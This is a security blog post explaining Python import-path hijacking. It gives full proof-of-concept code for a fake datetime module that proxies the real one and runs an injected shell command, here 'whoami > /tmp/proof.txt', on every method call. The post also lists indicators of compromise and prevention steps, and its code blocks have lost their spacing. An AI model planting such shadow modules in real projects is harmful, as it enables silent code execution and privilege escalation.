Goal
Demonstrating how Python dependencies can be hijacked dynamically when permissions are set incorrectly, potentially leading to privilege escalation
Audience
Blue Team
Red Team
Security Researchers
IoC
Automated Python script running with high privileges
File creation in PYTHONPATH directory
File creation in application directory
Usage of __getattr__
Disclaimer
This article is written for educational purposes and is intended only for legal penetration testing and red teaming activities, where explicit permission has been granted. If you wish to test any of the scripts provided, refer to the disclaimer.
Back in march I did some research into (silent) Python path hijacking. As a proof of concept, I created a small implementation of datetime which executed code when calling the static now method by leveraging Pythons load order. If you’re interested in the way this works and another example using a PIP package, see this article. Note that I strongly recommend reading that one first, as I continue building on the previously created proof of concept code. If you’re just interested into preventing Python load order hijacking from happening, note that this is explained at the end of the article.
The old proof of concept worked great, but has limitations. It only implements a single static method and cannot handle arguments. These limitations kept bugging me. The concept works great, but would it be possible to hijack an entire library silently? From an offensive perspective this would have the benefit that in theory, it would be possible to hijack an entire library without having to actually know what methods are being called. By creating common libraries like datetime a generic hijacking solution can be created.
A Magic Combination
Starting from the datetime.now proof of concept code I created previously, I figured a this setup can be expanded into something like a proxy class. Getting it to work leans on two important elements, __getattr__ and metaclass.
The method __getattr__ is used to find and access a method or property on a class or object. It is used to request an attribute, but in this stage it does dot know if it actually exists on that class. This can be leveraged to “proxy” any existing or non-existing attribute. For example, take a look at the following code:
While not yet being a proxy to anything, the above code did solve the biggest challenge I faced. By using a metaclass and implementing the __getattr__ method, any undefined attribute can be called on the example class. The __getattr__ method is invoked when an attribute is requested on a class, to find the actual implementation of the requested method or property. Keeping in mind what I was trying to achieve, this seemed the perfect place to hijack method invocations, execute our payload and proxy the actual target method.
So, cool first step! However, hijacking an existing class takes more work. Previously I used the following code to find the real datetime module:
So putting the above together, we will place a file called datetime.py somehwere in the Python load order. The simplest way to test this is by placing it next to the “target” Python script as demonstrated later on. This file should contain:
A meta class which proxies all datetime methods.
A class named datetime which implements the metaclass.
A place to inject our payload code.
Note that at this point, the proof of concept code is already an improved version of what was created previously. Static methods like datetime.datetime.now() are hijacked, but now, do not need to be declared anymore. Because of the __getattr__ usage, any static method is hijacked when called.
fromimportlib.machineryimportSourceFileLoaderimportos,sysconfig,subprocessclassDateTimeMeta(type):def__getattr__(cls,name):# Load the actual datetime module
module_path=os.path.join(sysconfig.get_paths()["stdlib"],'datetime.py')module=SourceFileLoader("datetime",module_path).load_module()attr=getattr(module.datetime,name)ifcallable(attr):# Only hijack methods, ignore properties
defwrapper(*args,**kwargs):try:# Run the payload
command='whoami > /tmp/proof.txt'subprocess.Popen(f"{command} &",shell=True,preexec_fn=os.setpgrp)except:passfinally:# Run the intended (real) method
returnattr(*args,**kwargs)returnwrapperreturnattrclassdatetime(metaclass=DateTimeMeta):pass
So, like in the previous article, this is what calling the static now method would look like:
Hijacking a static method
The Improved Proof Of Concept
The above code works like a charm for static methods, but achieves nothing when a object is instantiated and instance methods are invoked. Below, I’ve written down three examples, with my intended usage:
importdatetime# Example 1: Static method should be hijacked
print(datetime.datetime.now())# Example 2: Constructor and instance method should be hijacked
dt=datetime.datetime(2025,10,10)print(dt.strftime("%A"))# Example 3: Properties should be ignored
print(dt.year)
Ignoring properties was something I had already implemented by adding callable(attr) to the code. Hijacking instance methods invoked on an instantiated object basicly works the same, but required a bit more effort. When calling the target module constructor, the module should actually be constructed. The __init__ method first instantiates the datetime class and stores it. When __getattr__ is called, the instantiated object is used to hijack the requested method.
classdatetime:def__init__(self,*args,**kwargs):# Instantiate and store the real datetime module
module_path=os.path.join(sysconfig.get_paths()["stdlib"],'datetime.py')module=SourceFileLoader("datetime",module_path).load_module()self._real_instance=module.datetime(*args,**kwargs)def__getattr__(self,name):attr=getattr(self._real_instance,name)# Hijack object methods as demonstrated before
So, once more, lets put everything together. The below code hijacks both static as instance methods and acts as a proxy while injecting our payload before executing the requesting method. This setup can be used to leverage the Python load order to inject a payload into code, without having to know which module methods are used. It consists of three classes, with the following components:
Hijack.get_real_module: Uses SourceFileLoader to load the requested module.
Hijack.handle_call: For methods, create a wrapper method which injects our payload and invokes the target method.
Hijack.run: Run the payload and invoke the target method.
DateTimeMeta: Metaclass needed for static method hijacking.
datetime: The actual hijacking class implementing the metaclass but also hijacking instance methods.
fromimportlib.machineryimportSourceFileLoaderimportos,sysconfig,subprocessclassHijack:@staticmethoddefget_real_module():# Find the real datetime module, load and return it uninstantiated
module_path=os.path.join(sysconfig.get_paths()["stdlib"],'datetime.py')module=SourceFileLoader("datetime",module_path).load_module()returnmodule.datetime@staticmethoddefhandle_call(module,name):# Find the target module component
attr=getattr(module,name)ifcallable(attr):# If it is a method, create a callable wrapper and return it
defwrapper(*args,**kwargs):returnHijack.run(attr,*args,**kwargs)returnwrapperreturnattr@staticmethoddefrun(original_function,*args,**kwargs):try:# Run the injected code
command='whoami > /tmp/proof.txt'subprocess.Popen(f"{command} &",shell=True,preexec_fn=os.setpgrp)except:passfinally:# Run the intended function
returnoriginal_function(*args,**kwargs)classDateTimeMeta(type):def__getattr__(cls,name):# Handle static methods
returnHijack.handle_call(Hijack.get_real_module(),name)classdatetime(metaclass=DateTimeMeta):def__init__(self,*args,**kwargs):# Instantiate and store the real datetime module
self._real_instance=Hijack.get_real_module()(*args,**kwargs)def__getattr__(self,name):# Hijack object methods
returnHijack.handle_call(self._real_instance,name)
So, next to hijacking static methods, instance methods can now also be hijacked. For example, take a look at the strftime method being used:
Hijacking an instance method
Alternatively, the payload could also be executed in the constructor. In that case, __getattr__ should return the actual attribute using getattr(self._real_instance, name). This would potentially lower the amount of times a payload is executed.
Preventing Path Hijacking
Let’s review how to prevent path hijacking in Python. Fortunately, it’s relatively straightforward:
Tighten directory and file permissions: Ensure that low-privileged users cannot add or modify files in sensitive directories.
Verify the PYTHONPATH environment variable: Check the paths listed in the PYTHONPATH and ensure that proper permissions are set on these directories.
In the previous article I also implemented the hijacking method for an example PIP package. I figure above method combined with that proof of concept code would work fine as well. However, that’s enough lines of code for one day, don’t you think? Thanks for sticking with it, and until next time!